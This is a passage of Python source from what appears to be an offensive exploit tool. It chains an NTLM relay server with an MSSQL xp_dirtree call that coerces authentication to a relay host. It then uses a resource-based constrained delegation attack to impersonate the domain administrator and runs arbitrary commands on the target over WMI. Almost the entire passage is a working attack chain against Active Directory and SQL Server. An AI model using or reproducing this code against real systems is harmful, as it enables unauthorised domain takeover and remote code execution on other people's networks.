    _| _| _| _| _| _| _|_| _|_|_|_| _| _| _| _| _|_|_|_| _|
    _| _| _| _| _| _| _|_| _| _| _| _| _| _| _|
    _|_|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_| _|
    _|
    _|
    """
    print "mssql authenticated remote code execution exploit (@3xocyte and @elad_shamir) #shenanigans #wontfix\n"

    # get dn
    dn = ''
    domain_parts = options.domain.split('.')
    for i in domain_parts:
    dn += 'DC=%s,' % i
    dn = dn[:-1]

    if '.' in options.server_hostname:
    print '[!] server hostname contains periods and the NTLM relay may fail'

    attack_setup = SetupAttack(username=options.username, domain=options.domain, password=options.password, nthash=options.nthash, dn=dn,
    machine_username=options.machine_user, machine_password=options.machine_pass, server_hostname=options.server_hostname, dc_ip=options.dc, use_ssl=True)
    spn_username, spn_password, server_hostname = attack_setup.execute()

    print "[*] starting relay server on port %s" % options.server_port
    s = HTTPRelayServer(domain = options.domain, dc_ip=options.dc, username=spn_username, target=options.target, target_hostname=options.target_hostname, dn=dn, port = options.server_port)
    s.run()
    sleep(2)

    if options.mssql_user and options.mssql_pass:
    print "[*] using provided mssql credentials"
    mssql_trigger = MSSQLCommand(target=options.target, username=options.mssql_user, password=options.mssql_pass, windows=False)
    else:
    mssql_trigger = MSSQLCommand(target=options.target, username=options.username, password=options.password, hashes=options.nthash, domain=options.domain, kdcHost=options.dc)

    mssql_command = "EXEC MASTER.sys.xp_dirtree '\\\\%s@%s\\share', 1, 1;" % (server_hostname, options.server_port)
    mssql_trigger.run_command(mssql_command)

    print "[*] executing s4u2pwnage"
    identity = '%s/%s:%s' % (options.domain, spn_username, spn_password)
    spn = 'cifs/%s' % options.target
    if spn_username == options.username and options.nthash:
    rbcd_args = Namespace(aesKey=None, dc_ip=options.dc, debug=False, hashes=options.nthash, impersonate='administrator', k=False, no_pass=False, spn=spn)
    else:
    rbcd_args = Namespace(aesKey=None, dc_ip=options.dc, debug=False, hashes=None, impersonate='administrator', k=False, no_pass=False, spn=spn)
    do_rbcd_attack = GETST(spn_username, spn_password, options.domain, rbcd_args)
    do_rbcd_attack.run()

    print '[*] loading ticket into environment'
    cwd = os.getcwd()
    ticket_location = "%s/evil.ccache" % (cwd)
    os.chmod(ticket_location, 0700)
    os.environ['KRB5CCNAME'] = ticket_location

    command = 'cmd.exe /Q /c %s' % options.command
    print '[*] executing "%s" over wmi' % command
    wmi_exec(options.target, options.dc, command)
    print "[+] complete"